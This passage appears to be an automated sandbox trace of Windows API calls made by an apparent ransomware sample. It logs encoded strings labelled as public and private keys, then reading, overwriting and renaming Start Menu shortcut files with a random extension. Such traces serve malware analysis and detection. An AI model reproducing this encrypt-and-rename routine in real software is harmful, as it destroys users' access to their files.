lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.391] GetCurrentThreadId () returned 0xa30 [0128.391] GetCurrentThreadId () returned 0xa30 [0128.391] GetCurrentThreadId () returned 0xa30 [0128.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0128.391] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0128.391] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0128.391] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x58b [0128.392] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0128.392] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x58b, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x58b, lpOverlapped=0x0) returned 1 [0128.396] CloseHandle (hObject=0x1ec) returned 1 [0128.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0128.398] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x58b, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x58b, lpOverlapped=0x0) returned 1 [0128.400] CloseHandle (hObject=0x1ec) returned 1 [0128.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk.zv7un")) returned 1 [0128.402] GetCurrentThreadId () returned 0xa30 [0128.402] GetCurrentThreadId () returned 0xa30 [0128.402] GetCurrentThreadId () returned 0xa30 [0128.402] GetCurrentThreadId () returned 0xa30 [0128.402] GetCurrentThreadId () returned 0xa30 [0128.402] GetCurrentThreadId () returned 0xa30 [0128.402] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0128.402] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0128.403] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0128.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad)) returned 1 [0128.404] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk")) returned 0x20 [0128.404] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk", dwFileAttributes=0x80) returned 1 [0128.406] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.406] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.407] GetCurrentThreadId () returned 0xa30 [0128.407] GetCurrentThreadId () returned 0xa30 [0128.407] GetCurrentThreadId () returned 0xa30 [0128.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.408] GetCurrentThreadId () returned 0xa30 [0128.408] GetCurrentThreadId () returned 0xa30 [0128.408] GetCurrentThreadId () returned 0xa30 [0128.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0128.409] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0128.409] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0128.409] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x5ad [0128.409] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0128.409] ReadFile (in: hFile=0x1ec, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, 